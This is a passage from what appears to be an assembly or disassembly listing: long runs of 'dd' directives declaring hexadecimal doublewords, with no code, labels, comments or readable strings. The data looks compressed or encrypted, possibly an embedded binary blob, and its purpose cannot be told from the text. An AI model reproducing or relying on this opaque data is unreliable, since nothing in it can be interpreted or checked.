913235EDh dd 8179311Ah, 5D3810E0h, 777428BCh, 9D3AEB89h, 0B2886872h dd 17169661h, 7457F868h, 9099F92Bh, 88B44016h, 0C6579D50h dd 5D5042FDh, 8066965Dh, 906A5315h, 0D4C4B6E6h, 9395968Eh dd 4904E495h, 0DFF13A0h, 326F3288h, 8DC64A28h, 3634451Ah dd 0ABC94A23h, 0FCEC2892h, 5D75E117h, 0B8CABC7Dh, 5B915598h dd 1A7714C8h, 4D55E48Dh, 906FA364h, 4C90EE74h, 96955AFCh dd 494C85D8h, 971076E8h, 4CA2594Bh, 0FED5D90h, 5BA89318h dd 0D289FEA5h, 6A1DA57Bh, 649D9A23h, 0EBC70252h, 0EAE85924h dd 5F6C98Dh, 17C0BB12h, 4B741039h, 0CCCFB509h, 723401F9h dd 0C3BF0BF0h, 72ED9570h, 5624022Dh, 1D6939EBh, 571B03B7h dd 0A4E4AC8Ch, 53E41127h, 742970EAh, 34A4572Ch, 0F176899Fh dd 605F664Ah, 34971684h, 4874296Dh, 0BF2BB43Eh, 0AA4B692Ch dd 0D5443A82h, 19574834h, 44532B46h, 0D72DF0ADh, 7CC92C61h dd 1AEA0845h, 588205D7h, 0F2F032AAh, 9FC8C02h, 0CE26BDFEh dd 0FEF8CF3Bh, 26D6F997h, 6B382F0h, 0D582CAF8h, 1E5503ABh dd 68561771h, 0A0E1E890h, 0F3289D39h, 8810982Fh, 243FF842h dd 0FEA410C3h, 69FC8CC4h, 620AF8DDh, 0D7FE9834h, 0A2B588BEh dd 0D5500400h, 7C562DB9h, 0C2C5D3A7h, 352E34AAh, 2795BC10h dd 641671FEh, 0C5E9AB53h, 7467D489h, 69B5C4BEh, 0EBD14FA0h dd 41BCD644h, 0BB5656CBh, 93E452Dh, 9C571975h, 8499B09Fh dd 0E2C495F6h, 0F0150114h, 0FC9013AAh, 0AAA467BDh, 0FB9647ECh dd 0F4FA0110h, 0EF90F22Ah, 0A6116BFDh, 6E81D3F0h, 5C229F39h dd 0B4EBD451h, 0D7B8A9ABh, 8AA19D53h, 5624176Bh, 800A5836h dd 8909DA26h, 91F788B5h, 6CDA8478h, 52E5BDA5h, 0AD1063ADh dd 0CC66175Bh, 0F0D46A7h, 2EA1218Eh, 8B1D0EB2h, 4B87A8CFh dd 0CD0FB8FAh, 0A0891189h, 147710F4h, 1F91B511h, 7582A1C4h dd 93806814h, 8AACCAB4h, 94C80A84h, 7AF4A7FBh, 4E31B04Bh dd 29459D38h, 5509B112h, 0FD5546AAh, 0B9A6A30Ch, 0A5A2944Eh dd 8C37538Eh, 8B69CA4Ah, 0C8C4DF11h, 0DAE5E498h, 3841112h dd 3C03896Eh, 8A2A645Dh, 0D32F8B32h, 2083ABE9h, 0F5A64D8Dh dd 78C4769Ah, 0BFF151F4h, 9708BF0Dh, 26BA4138h, 9159FC6Eh dd 0B0A715D6h, 0ED110488h, 338D8A0Dh, 32E2DB1Bh, 0A02376D9h dd 0FE1275C0h, 0C93224C0h, 0B98A1439h, 0EB828BC8h, 99C1FE0Eh dd 0F088D10h, 6C0B632h, 0AF44D7C9h, 0A6A13B7h, 0C72B0914h dd 59F721ADh, 28BF2B57h, 8B241C1Eh, 0FAAD6DF8h, 77754952h dd 0DB044714h, 0E7E12FA9h, 0B01DB02Bh, 3FB859FFh, 654D319Eh dd 0DC0513BFh, 168D31FCh, 2AE94DE7h, 6A3820F0h, 504DB058h dd 0F16F85Dh, 0EFB9778Fh, 56278948h, 0AF20AAE7h, 920F3B59h dd 0C4AE9E64h, 5DAEDAC8h, 392DFC2h, 7237CEEEh, 3DF3974Fh dd 836F30DCh, 81E198BDh, 565E7403h, 745148BEh, 0CB3B0C75h dd 0DB383FCCh, 8C1B9BDh, 7B6BB468h, 1B9108CAh, 0F39CB512h dd 5A1825D2h, 13DF8E7Ah, 27C68128h, 48FE61A6h, 726A8164h dd 37EB5EABh, 0B05585A5h, 0A542CC84h, 627FFA48h, 0AEE7582h dd 0D470094Fh, 5DE0A583h, 6A137CF6h, 4E58BD26h, 0FF206588h dd 947C8C3Bh, 0F23A19E1h, 53E48D28h, 166B4331h, 4DA12223h dd 511C8255h, 642EC650h, 0CCBB2170h, 57BB08DDh, 489F23A2h dd 416184BCh, 0B2C1E01h, 25A87D83h, 3F8CCCFDh, 0C9AF8520h dd 0C42A7483h, 0CE77AA57h, 6573E55Fh, 400F2036h, 3C2668FBh dd 5521D6Ch, 3E1B8CC1h, 92B59A5Ah, 4769F7AEh, 4264DFCh dd 15230FBAh, 0A1DE89EAh, 374E2D3Fh, 0ACC48114h, 62C99273h dd 1B4C3D6Ah, 860F0A85h, 12485CADh, 7E149B59h, 34EB158Ch dd 0CD14A332h, 36684424h, 8891871Ch, 4995B941h, 0C291C559h dd 225156EFh, 0DCE99FA1h, 3CFD29A0h, 0F280AC3Dh, 632F8F12h dd 0EEC07E24h, 0B3FAE026h, 94B297AAh, 85946ABFh, 0BA6D522Eh dd 4CB3C24Eh, 106AC568h, 0B8A8EEC4h, 0F0BF0F01h, 0B924B98Bh dd 0B857AB78h, 80C4F600h, 526A7B74h, 66271D14h, 0E01F3884h dd 1A757E7Ah, 15EA40E8h, 7D5B0AC0h, 4C84C710h, 0D897B0BDh dd 32531BBBh, 821E8E2Ch, 0BE2E7DF6h, 9A02422Bh, 314393Ch dd 2110430Ah, 0B48B4204h, 17498D19h, 625664A8h, 2083D758h dd 0B0C5204Eh, 18C55008h, 0A4804C30h, 251F6E05h, 0A238590Ah dd 0B93D3513h, 39620B59h, 0F3912236h, 4E0E74C2h, 4682465h dd 55EB895Fh, 57B01F9Eh, 64256B66h, 0C30495BEh, 90B58BB9h dd 2BD23486h, 1D21573Eh, 0A6BD442h, 92DE4972h, 0A71FEB70h dd 21BC1566h, 62FD10F2h, 0DC4A658Dh, 3D7EEB48h, 147419FEh dd 0FD5030Ah, 5D20203h dd 1A750401h, 7D1A42Fh, 0C0FAE692h, 0D9A750ECh, 0E2177827h dd 142AC383h, 7CA27D81h, 8C0F97A1h, 0D033A0E9h, 12C9084Dh dd 0ED9DFBB5h, 81B7CA7Ah, 102B4B8h, 0E83E677Bh, 0E58AF4Fh dd 5D25ABF2h, 0AB703A9Ah, 0A081F85Eh, 9C29082h, 55859A57h dd 7E568189h, 0D82B56D9h, 30A1B583h, 5CE60266h, 0CF1CB4Bh dd 0B4C178A5h, 0BDE89601h, 0F9FCA297h, 3ABC4814h, 759CECC5h dd 4366B495h, 964C21D8h, 69ECF7D4h, 4F6653C3h, 3CD0F2D0h dd 6BD019A1h, 0E421EDDFh, 0B46475E2h, 0ED70477Eh, 13A44478h dd 9DF0F686h, 0FBD9C4EDh, 64F5FEFAh, 98C7D368h, 0B9805514h dd 8740EC83h, 0BB531676h, 0C9165658h, 0FE2F0307h, 285657C9h dd 9523E6A2h, 28A488CFh, 8EB4703Eh, 6375598h, 8BC60D75h dd 91135885h, 804F6D1Eh, 0B475F43Ah, 8F746CC8h, 0AA523468h dd 537D938Eh, 2423179Dh, 0C38B86C0h, 48FF5F33h, 898B7A68h dd 27E7085Dh, 0F582248h, 4AAF9847h, 661EAE08h, 0F345E396h dd 2134441Dh, 0F60EA0Dh, 29049602h, 792DF9D6h, 4018ADF9h dd 58B77F04h, 0D66C545Ah, 85341AFFh, 40B80F48h, 0FA9C74F0h dd 0AD2478D2h, 821A7245h, 0C4E2AC54h, 1C5CBA74h, 5B104457h dd 0AADA58A7h, 0BF7C9F61h, 0A32F0772h, 0B8DAC134h, 0E4AB0544h dd 0A98088Dh, 0E213764Fh, 0EC4BDF8Bh, 0C35E1238h, 0BA5E1BEh dd 0EB751215h, 0F0268110h, 5668DA75h, 0C9821128h, 48B62068h dd 1888B07Ah, 88434776h, 8425410h, 75D808A7h, 0F8683AB8h dd 0A7C91153h, 0D0117C08h, 1EF96896h, 8D687874h, 0B5AE0F92h dd 6CD404B8h, 46845B15h, 775EC9C8h, 0E417D70Ah, 78CA2E80h dd 704274F5h, 465418A7h, 0B276D04Ch, 706517ACh, 0A7A45078h dd 2A9C4487h, 8C519421h, 5DEC881Ah, 0B876E494h, 0D04485DCh dd 0F2C4242Ah, 87B85654h, 0B7728A1h, 0B7718A1h, 0F27791DDh dd 256595F8h, 13288B2Eh, 641D7C52h, 55483225h, 1AB1E8E5h dd 0B107FC49h, 2DB0893Fh, 0FC05B93h, 4F489D88h, 0E49CA8FCh dd 0F177AC4h, 503F47F3h, 0E22D75DCh, 2E15B5E9h, 1A4290E8h dd 1F8EA64Bh, 0A52BF0Fh, 51257AECh, 455B7970h, 0FA93AAA9h dd 0E660A6C9h, 52534BE4h, 48B09AB3h, 0FC092DE2h, 898D51C4h dd 67106AB4h, 3248644Dh, 5D203478h, 20E996D4h, 97FE9A1Ah dd 0D0AD66F3h, 6F2DB3C1h, 89CA8BD2h, 0CBB4FBCCh, 0E4BE04DCh dd 4DB2F40Fh, 28BCF197h, 8648BC50h, 0B5768687h, 4F94DF44h dd 24EC48C2h, 11023D53h, 464F5A53h, 0BD800CF0h, 0FE062551h dd 5CD0CCCFh, 3D178B13h, 0D6E271CCh, 1D5E6B7Eh, 0AB77D68Bh dd 0EAF4D0E1h, 0F818C36Eh, 133BAA74h, 6EA42419h, 9F6C7B3Fh dd 0C89A140Ah, 0BDB0544Eh, 0F859DD1Eh, 0D0A4CD30h, 0ECDD0C7Ah dd 3CAE2BFBh, 5856B5CEh, 439C5C26h, 0DBF48828h, 51742235h dd 0B35E24A8h, 347E853Bh, 288040A0h, 151A05BCh, 8848D0Dh dd 0C603750Eh, 38802001h, 42FB0D0Ah, 0B75B383Eh, 59157F61h dd 7FA8CC7Ch, 6A840F27h, 13A70CEBh, 25148AA0h, 844D1E78h dd 112329F2h, 512786A3h, 28B9238Dh, 970C48B8h, 2514465Bh dd 74297B73h, 20423967h, 6EB41303h, 1477D810h, 213665EBh dd 7F79E431h, 2F14A421h, 8421A331h, 55DD0F50h, 2E903155h dd 62226F9Bh, 0FC1FD36Ch, 6820F2D4h, 6E850F3Eh, 2A336407h dd 14D99142h, 22669323h, 0D41BA187h, 719B59A3h, 0B7940834h dd 44B7466h, 0B91791A6h, 84AAADA5h, 9061FD6Ch, 0F37A1902h dd 0F7BFD2ECh, 5FBE9626h, 1074AFE3h, 0ABCB2958h, 6C21258Ah dd 789C7348h, 127D2585h, 0F102771Fh, 1C925620h, 0FF955370h dd 0C60455B2h, 0D869AE6Ch, 34C816FAh, 0C2CFAD70h, 8488B5A1h dd 0BEE2402h, 93890E6Ah, 4D0291FDh, 1D8AA5ACh, 8FCA74Ch dd 97FD7C50h, 70A4456Dh, 68A4FE25h, 0BC717A1h, 390E5FC8h dd 98B23537h, 0CE9D786Ah, 0A1E04B34h, 0A365A065h, 0E6C04D2Ch dd 0DD36511Ah, 0A97D7A87h, 22536474h, 0B981A33Ah, 0A8DE7414h dd 0ADCDDB95h, 289712D4h, 55AA7682h, 67C6C407h, 10FE89CCh dd 0CE4C14E4h, 0D0407D08h, 32D2635Dh, 81980D4h, 0D61906D5h dd 0F2DC5093h, 11EE89CCh, 8C64C21Ch, 5EB97899h, 9934AF04h dd 78681B00h, 0CB123456h, 1A75EC41h, 0FD7ADDF5h, 5FC5899Fh dd 984C4A5Bh, 0F9A8C1F4h, 6E54EB02h, 1C4205EDh, 38EB10E0h dd 512C6821h, 13745425h, 5842FAF9h, 91F45589h, 0C809020Eh dd 0D20F1ADAh, 830EE280h, 0E35588D1h, 8C408268h, 52F88690h dd 0FAC9AC50h, 0C1897552h, 4106A5FEh, 0C82A3CE8h, 3FCFE47Fh dd 26615438h, 180C41BCh, 0B5B80E99h, 0CB58BC64h, 6A36604Fh dd 7D135E14h, 0C470CC55h, 6FCAC8CAh, 0E8A069FCh, 1E03E921h dd 11E5BF81h, 0EC5D7252h, 0F88B1EA0h, 1054E7C1h, 57F40B0Ah dd 0A8B11CA4h, 0C4F61A5h, 5035B7FFh, 0D8039CBBh, 56DC20C6h dd 888C0A0Eh, 8A3905Dh, 92590691h, 0CD83099h, 32984788h dd 23C5206Ah, 0C2AA7427h, 765756ECh, 22425B14h, 346A1B1Dh dd 5F9A811Dh, 46FC7799h, 341F09CCh, 9696021h, 0E5F43212h dd 46441474h, 0D65928C8h, 0D124D20Ah, 51AA2D85h, 0E2D72D0Ch dd 0EC382D81h, 2401FE17h, 72481045h, 3BE8C003h, 3C7FC8E8h dd 0CA8C0F17h, 0E4C723BEh, 73C41C09h, 28B5A22Eh, 475F5946h dd 0C490A80Ch, 0F81113B4h, 0EBBE428h, 62B55D5Bh, 5E4B6C22h dd 0C37FCCBBh, 775B5F25h, 925F7292h, 0A40CD5ABh, 8B761813h dd 4D495EB5h, 0D8DAF316h, 4EF8BA1Bh, 926794A5h, 53A60C57h dd 8D172C39h, 4253284h, 2669C8FAh, 56BE944Eh, 6C4BEA6Eh dd 0DD4CDD58h, 2EFFCDF1h, 0BC0C71FAh, 0D13F0903h, 3C686AEAh dd 0FE448439h, 675B5819h, 43014E6Ch, 9C988902h, 7EDE9DA7h dd 0A55F7578h, 61449FDCh, 33A37910h, 7D35C8F5h, 0A457DC40h dd 0D8D9811Ch, 66484D97h, 35B3B8FBh, 58FCC84Fh, 32BBC875h dd 8935791h, 9AB6F4CEh, 50572CFAh, 0AFD0A619h, 7921196Fh dd 2BB49490h, 9F64A677h, 750A936Dh, 74646855h, 5ECBB42Dh dd 0E2D2677Eh, 968F7C14h, 4539EA57h, 0BB4B871Ah, 2CA582C9h dd 81281D0h, 23EED6FFh, 0A5F2BC4h, 80D774FBh, 870FD06Fh dd 0A3B4944Eh, 128FBA1Ch, 0A14005C6h, 41D26717h, 0A366D8ABh dd 54E74228h, 7441D2Ah, 0C8463D22h, 80824848h, 91491D88h dd 74114A14h, 4CE6630h, 8E3C1D8h, 0A970332h, 94B26A9Dh dd 0EB5B214Ch, 4BEF4B18h, 0A328B88Bh, 0F0109A1Bh, 2911D250h dd 3CE4DA97h, 423C884Ch, 1C55A213h, 0F397F070h, 4A3034C1h dd 0C4B35691h, 10424C5Ah, 28585215h, 46B0FF88h, 0D65C6852h dd 0D685F326h, 0FF375D94h, 5B2DFE5Ah, 52AD2671h, 0ED453385h dd 0E02B1255h, 0CAD352B2h, 30FE27F5h, 84792CC2h, 0B854E8A2h dd 503218F1h, 5F7547AEh, 0EE6653FFh, 0C8166B1Eh, 0F713D1FCh dd 5005AF75h, 833D5114h, 17414A5h, 0E050D5A4h, 1C108778h dd 249197ABh, 2D1E0320h, 0C9D45949h, 0B8895C60h, 5EC966B5h dd 923CFD5Ch, 397712FBh, 61C73A80h, 79FDC025h, 9118112Bh dd 36E85A58h, 0DA09062Dh, 6B1793A8h, 1CC26154h, 4447F37Ah dd 953436D8h, 0FEC0FAB8h, 0BEBC5686h, 0D0E4A1DFh, 0CCF9279h dd 64C18DFAh, 0E8BFEB79h, 971C6AF2h, 5E99947Dh, 1CDDB883h dd 71EDDCB8h, 45390E64h, 0A8407E8Dh, 0C872330Ah, 330A10D8h dd 0C0FEC2F6h, 114B267Eh, 0AE6A616Bh, 0F1FCECD0h, 89C44E75h dd 0BC227FC1h, 15709B8h dd 0DA7CC086h, 0E1BF0F54h, 10CE1EF5h, 89AF79F0h, 438C1C53h dd 3ACCB210h, 20964175h, 0E3EFF92Eh, 225B76Ah, 4BD96EBFh dd 0F63F4FCDh, 0FCBC9645h, 373A75CEh, 0C748B29Eh, 2FE84BACh dd 12FCCCA1h, 9EAC4D70h, 646AA67Dh, 0FDE432CCh, 0DE89604Ch dd 877E1BCCh, 44F7E093h, 0A394A894h, 0D2089D40h, 0A4B8530Eh dd 0BAB311FEh, 0DFFA1BEh, 0E63C5242h, 39934DD3h, 451229B9h dd 12AB59F2h, 21542AB8h, 0FB8478C0h, 0EE8B523Fh, 41880AD6h dd 0BC75F1D8h, 58CC4943h, 1A7E17CEh, 0B950086Dh, 249488D4h dd 8DD4EF35h, 0D96BE67Ch, 0A3F8CE4Dh, 0B6A550Bh, 64CCD45Eh dd 55E2BB57h, 2BD43ED8h, 4E897AF7h, 53AE5ABBh, 4FABC920h dd 4E9E28D1h, 6722CE56h, 0BFACBEBCh, 0EB62AD71h, 10384FA1h dd 0AFD2AF44h, 142F988Eh, 8547D314h, 1091EC23h, 0A213A8D7h dd 0F5079370h, 3310C0E6h, 0F30C2713h, 7A988B96h, 0EC44C0C7h dd 3FF3702Ch, 0A192989Eh, 0E8BD6C8Ch, 0E9064E54h, 4E789D2Bh dd 9BA761B2h, 0C2A21EC5h, 5049FD9Eh, 0C6D39D2Dh, 0E5667E1Ch dd 0BF0C28B0h, 8D1DC490h, 26D1AEB5h, 0F32EDF8Bh, 0AC21D2CAh dd 0B6847406h, 0AF51FC4Dh, 9D504CC8h, 838F8A59h, 754B62C6h dd 7531B2D7h, 499790C6h, 1C59F85Ch, 0E9642297h, 0D02490B5h dd 7247701Eh, 1D0EF226h, 0C590530Ch, 0F2BC84E7h, 14F8E248h dd 0F0822042h, 30645356h, 9513225h, 162FEDF9h, 0FE30925Fh dd 0A6AF2FD0h, 87A936F8h, 5FBF43BDh, 3684637Ah, 0F4206EA5h dd 85C818E9h, 1EC843BDh, 0B0441BA4h, 7E469AEFh, 95107588h dd 0B2407236h, 0BE081B4h, 0E2441022h, 2E689E4h, 23E924E8h dd 0F075F9EAh, 99D57819h, 2ABFCE4Dh, 50D83AE3h, 2D90813h dd 0CBDA6E2Ch, 0E0E9C0E8h, 0F8210FDEh, 1408C464h, 0F8B0C090h dd 134AF28Bh, 0A8080CBAh, 0DCBEDC67h, 0B2CC47F4h, 6A5A36D0h dd 0F448E4A2h, 0DF783E51h, 0E287ECECh, 103F57CCh, 57E014DCh dd 0DF78B934h, 46EA2BFAh, 47DFC4EBh, 71F4C8B0h, 16E60D27h dd 0C63BFC17h, 19C8DED2h, 18A802F8h, 88F2235h, 43FC7AECh dd 8D20ECF4h, 88DAC74Bh, 1C11F733h, 45BF94BCh, 0C4651058h dd 22E9FE6Ch, 0A936018Bh, 8A8D698Bh, 3F344BB0h, 0A6371505h dd 0FC6C1644h, 7B0C6802h, 59761574h, 6CF1AFFCh, 427E1AFEh dd 9D98A8FCh, 59C07E56h, 0D278A583h, 797AFC87h, 26A86524h dd 8632BB16h, 5A9AC006h, 0AC7D1D8Dh, 377C1A89h, 5805161h dd 847D4EBAh, 1A885566h, 0C4088C22h, 310C900Eh, 980C1194h dd 9C101643h, 3AA0C429h, 0A4EA0E52h, 0ABB08C7Eh, 0ECCD48Eh dd 0CEB806B4h, 2008BC2Eh, 8E3217A6h, 0C78609C4h, 4D261B3Fh dd 0CB0D5CCh, 91BFABD8h, 0AA571719h, 0D2FCBE73h, 6B07D650h dd 4271C742h, 0F9E189A5h, 8E9A27EAh, 99B95955h, 7556728Dh dd 6B182816h, 7C173267h, 0B1DD4BF5h, 0C93D3D6Fh, 0A3569D6Bh dd 81A1025h, 3B9A6F68h, 87FB3573h, 0FDA7F27h, 0A566C577h dd 355C44DFh, 0E3522BD7h, 2F0C88E1h, 0D69790D2h, 8A1B53E8h dd 804F25F4h, 5018E2C1h, 0FB55B80Bh, 1A641A4Ah, 0A4B960ACh dd 0D279D1Fh, 8C282DDCh, 3004DD0Ch, 129A86D4h, 1639E04Fh dd 2D448BFCh, 68D6B095h, 0B1E239ECh, 82DE65B9h, 2991E4CAh dd 0E530090Eh, 9584248Ah, 458841A2h, 89FDAFE5h, 34E9448Eh dd 0CBC48DECh, 1BE6366Bh, 584D9A50h, 34B468F8h, 3E6BD7DEh dd 2F81F812h, 9A9994F8h, 0B7C1EE40h, 0C54B48D1h, 0C6562D25h dd 9F0440D0h, 6810EEC5h, 0B8FDC0C5h, 8061E2D1h, 0B0890E58h dd 626EFF9Ch, 0E45360D1h, 2D3F70ABh, 0E73BB2D7h, 0BF6725D0h dd 0C0B16610h, 7C2411FBh, 21EEDA2Fh, 0FBC04258h, 0C4185411h dd 0FDC0238Ch, 58FBC84Fh, 3BF744B5h, 129253CAh, 75319C59h dd 7E470BF5h, 3B7BEC84h, 0F7C4EFF4h, 5EA2CDADh, 0BCC7199h dd 64686E42h, 69E95570h, 7E1BBC03h, 52325381h, 0DB90BECAh dd 1681204Ch, 1322085Dh, 0EBEF64D0h, 92955C0Eh, 2AAF204h dd 0FC286A04h, 0CDDC4A86h, 0F3504A9Dh, 0DAD62D2Ch, 5D08C465h dd 0B0DED4DAh, 1284DD30h, 0CC2D74DEh, 0C110F0B2h, 3CA08E6h dd 48B55E0Ah, 295EE029h, 69D916EBh, 0A969BD59h, 0C06F0619h dd 854845CCh, 1075E418h, 613E489Dh, 6B06EBE5h, 0D4BCB953h dd 20B4EAE2h, 4605B69Fh, 89214CE8h, 7EA85A85h, 0FFB04B68h dd 83ECC3Dh, 0F502F0EDh, 985CEB02h, 87AEE820h, 3CEB1041h dd 278FE01Ch, 0F09011EDh, 6870F5F8h, 87F408EFh, 32E3F614h dd 99C0CE0h, 37A9EBF0h, 0F80999FAh, 0EC60A020h, 0A54EC4A4h dd 62A62C06h, 206A488Dh, 0FE496B73h, 2463ADA2h, 0AE7380B2h dd 0F8E26091h, 8542D406h, 7485C233h, 45E2B071h, 0E4AD7188h dd 0A5DE7860h, 0AE644945h, 2E44BC46h, 2F2FF53Ch, 0B03B10E0h dd 0FD47C4B8h, 847B7C10h, 4C2BFBC0h, 0E392BB6Ch, 24ABE4E9h dd 84ECB9E1h, 4428FDC4h, 2591868Ch, 0ECE77B2Ch, 2F7791A1h dd 7669E1D4h, 0B284A59Dh, 0C2F7D7F8h, 9480187Eh, 8DE9D157h dd 2CB13C4Fh, 23A8F83Ah, 603B37F7h, 88028A0Bh, 4C2A5ADBh dd 8B042308h, 0EBE681CEh, 83F9A9F4h, 7FF75EDBh, 0E9D7F809h dd 543C5DAAh, 93A7DFAAh, 5389681Fh, 317C2D3Fh, 0F40844Fh dd 39259C0Dh, 7C58C46Bh, 0B832F42Fh, 276979CCh, 0E2B74BC6h dd 2469FF6Ah, 0A41B2CD6h, 0E76A97B1h, 55F827C7h, 0BF1ADA4Eh dd 73C0578h, 0B62F09E7h, 451B34ABh, 0CBD845CEh, 0A0BE09DDh dd 0A5A47B05h, 852AACB4h, 0BDB0CBA0h, 570DC269h, 75099D51h dd 8269DD59h, 0FE9812ECh, 111272FAh, 48815177h, 0E06BC88Ch dd 9E45B60Fh, 89D05A1h, 18F7979Ch, 5B0468D8h, 0C262F2D9h dd 9913EB18h, 4CE96016h, 4A52A0Dh, 63CE1305h, 0EABF424h dd 56C724A8h, 0DE039B0Ch, 1E7C10ACh, 0AE64E1B1h, 0B0270DF7h dd 0D9B8CD11h, 5C832285h, 40B217B2h, 0B9B4314Eh, 5729B508h dd 0BC36B632h, 59C02AB1h, 231BF609h, 0C898C410h, 6966CC86h dd 0B985E825h, 0CE9EF00Ch, 2047186Dh, 662B28A0h, 0CBC0E8Ah dd 0F0E58C5Eh, 7DD0B986h, 0D266A978h, 271DD409h, 0D1A20288h dd 46DD053Fh, 6A85C44h, 642F1FDBh, 0ADCAD4B8h, 7D4C145Ch dd 58C2D68h, 49582C24h, 79C9FF88h, 935DF1C6h, 77EE060Dh dd 1D5EE6E4h, 9FAC1AB3h, 7428C044h, 0B3225789h, 5123239Ah dd 9D429868h, 20CA6668h, 4BD24BF5h, 5CAB88B4h, 0FE2704DEh dd 18796920h, 53FC2E3Fh, 0BAA4093h, 0D514F84Eh, 594CDE97h dd 58C81414h, 12597B8h, 0C4548757h, 0D904B8F2h, 86040235h dd 0E99024D4h, 0E0401082h, 3A9782C7h, 20EA4614h, 1421D142h dd 464A502h, 0F97C8C2Fh, 0C04A7AE2h, 0C85C5375h, 75549A77h dd 19D9C242h, 0BC27571Eh, 75F419D1h, 0ACAC861Ah, 7E15EBE9h dd 33598754h, 50C675FEh, 4D2D8D01h, 254BE5ECh, 1CFEB0C2h dd 478BCE69h, 6288580Eh, 0DD1BEB73h, 3071EE62h, 1D6120C5h dd 41297DE8h, 0B45DAC2Dh, 57B7C9C5h, 0F756B2F7h, 0DE276B4Fh dd 0B6652D8Bh, 0B3E2E016h, 0D0B5BC5Eh, 7DBCC4A2h, 0BDC9EEF3h dd 3E741112h, 0D6261D21h, 20621012h, 0D7A6AB8Ch, 629D6B9Eh dd 0DAF6D6FFh, 0C857CC8h, 96CD0149h, 0DC3B6A0Fh, 931174ECh dd 5C8BE2Dh, 269105EBh, 193D398Bh, 0F00C5280h, 8757CC88h dd 809911A2h, 7C9B53C5h, 423ED221h, 0AC4FD032h, 33A479CFh dd 766CAC96h, 5C63F56h, 76E5EDADh, 62A36606h, 4649D21Bh dd 176405F4h, 65D7015Bh dd 4E9113CDh, 0E803268h, 2B112669h, 636E6A45h, 23DC6C3Bh dd 8970C2E0h, 8891F53Ch, 7A439150h, 6164AF5Ah, 0EA292E2h dd 6DEC289Ah, 76687E8Ch, 68582A69h, 57B0B708h, 0DDD27415h dd 42255E7h, 2A78A32Bh, 52FBF784h, 79EB3BC7h, 22DCE454h dd 69E78D56h, 3E1E3D2Bh, 569329FCh, 4FFC2921h, 6FD82393h dd 728625D0h, 0FB149576h, 18AA62BFh, 92F66921h, 0E3D88CA7h dd 93427EA6h, 0F12C93C6h, 0C2C0EEAAh, 4DD2FF56h, 58682D44h dd 18C973CAh, 7F492D9Dh, 95271633h, 20CBA56h, 27CCC52h dd 0C576ACEBh, 0C836A57Dh, 0F0250E8Eh, 1E2ACDFDh, 0DA672747h dd 777EA808h, 0EB5610C4h, 8DAAFD16h, 39FE2F6Ch, 12243E72h dd 0B64790D1h, 0A4EBA82Bh, 6B958DFBh, 4CF8EFC4h, 0A1DCAFD2h dd 142B8B7Ch, 5F25C314h, 6A4AF89Ch, 0AE1464EBh, 0EA4A01A2h dd 0F0BD1821h, 1D1CFDEEh, 0C883051Fh, 0AE58EB8Eh, 48E0B6CFh dd 0F68B7404h, 0FD6954Dh, 1A9DBCF3h, 9D741118h, 0C708A083h dd 0BA04359Fh, 82FC0232h, 57100796h, 0AD15F64h, 98C82A8Bh dd 0B67494C4h, 0FC2A5DA1h, 72FA4EF1h, 0FB5D0CE3h, 4B58106Fh dd 0A62CBEE1h, 0C406ECE2h, 39D1B36Bh, 0F0A3C7E2h, 0CDCEE2C2h dd 0A8B25F9Dh, 224BE5Bh, 0E196A09h, 3DFF08D6h, 0D79D8994h dd 12844DC6h, 0FCFEEF86h, 212CC789h, 14202693h, 0E1157844h dd 16897C08h, 802A4508h, 88210717h, 508C8835h, 18519062h dd 21865894h, 9C886E98h, 77A06271h, 8687A418h, 8889A821h dd 0B0628BACh, 0BBB4188Fh, 0B8100142h, 8BCCEBDh, 99C04104h dd 43C40805h, 0B8C808DCh, 0EACC4106h, 21D0080Ch, 0D4040D3Dh dd 0D8201388h, 10841A0Bh, 841F40DCh, 0F34590E0h, 8B28F1ABh dd 0D403E418h, 0B554E3ABh, 0DAFC2226h, 6458C1A5h, 825CFE0Dh dd 8D85634Ah, 0F22305BCh, 0AB84DA66h, 532E3908h, 3938E32Fh dd 7327E985h, 0C3E492CDh, 8ABF5150h, 3C042C40h, 468450C8h dd 2193E5D1h, 0C7CB3256h, 73CF5D39h, 0D45E18BFh, 84248907h dd 83465E0Dh, 99044CC2h, 7C703C74h, 93C9BFBFh, 0AD4BAA5Fh dd 7ECC7D57h, 3AA3D669h, 0FB9D0B5Ch, 0C7433FC0h, 8BF6770Ch dd 4B7BE72Ch, 0C8F815EAh, 7641D459h, 5CF04ECBh, 1AEBE21Ah dd 9675C38Bh, 9750E2A2h, 89AC6547h, 10F8F6B2h, 439E7C1Ch dd 900B2D24h, 0BEC5B9F1h, 5C63441h, 56451041h, 1A64F073h dd 0E064C99h, 54088991h, 367BD44Eh, 6609784Fh, 4EF194A3h dd 0D801420h, 364F0C98h, 924532C2h, 96900C7Fh, 8DA1750Fh dd 2EA214FEh, 80B0594h, 0AE7FE0C1h, 0EEBD28Fh, 8A92606Eh dd 0F19C10CFh, 0BE51088Bh, 1BA0B03Eh, 0AEB11D88h, 5356325Fh dd 0A9B3B2A8h, 0F88B8818h, 0A5E7C11Eh, 3100F90h, 3C5957E9h dd 45A8A38Ch, 48B050A0h, 2408177Dh, 6A60020Fh, 0E86A214h dd 0F050AE66h, 93ACAC8Ch, 22A0B653h, 543DF8A6h, 8AD066CCh dd 57D1E304h, 50A3CFDCh, 84A125D2h, 0B8199194h, 5D95020Fh dd 0BA213ABCh, 0EB249528h, 39662F05h, 2F751214h, 91697D56h dd 0A129A44Ah, 0C82A3DD1h, 2B1445Dh, 0EB3483ACh, 11225E1Fh dd 659F4510h, 0F2A437A3h, 0C2C9405h, 9F85A5A8h, 0BE590A6Ah dd 0D4BF0A53h, 229AC5C4h, 0E328B407h, 0BEA5F302h, 4A9A9690h dd 6B18C956h, 0AAC86EA0h, 12290813h, 1CD127AAh, 68527830h dd 5EE5BD0h, 0D935FF9Fh, 89C03D0Ch, 4831E281h, 4D8C0F5Fh dd 744ADA23h, 25759EACh, 7D15090Eh, 117454Ch, 8009F849h dd 79BB92B8h, 1AD7A7E6h, 0DC8C0B7Bh, 0B8BF0BC4h, 3E9CDF56h dd 751E7409h, 96FFC1E2h, 0CF0F60AEh, 0FE81F703h, 48E71030h dd 4BEBDF7Ch, 53E00242h, 2D8BF669h, 4785BC09h, 533B099Eh dd 17F38B9Bh, 0D00B7344h, 3F9F6830h, 0D7A8868Dh, 0EB901339h dd 40248972h, 6B94CC1Fh, 6744F642h, 73778082h, 7EF0E249h dd 0DB908817h, 468D36C0h, 54506318h, 4A4FDC68h, 0EAA375BEh dd 0B83B862Dh, 812CF843h, 1132C2B8h, 0B93EB6BFh, 53C9DF57h dd 4A5C5456h, 7140081Ah, 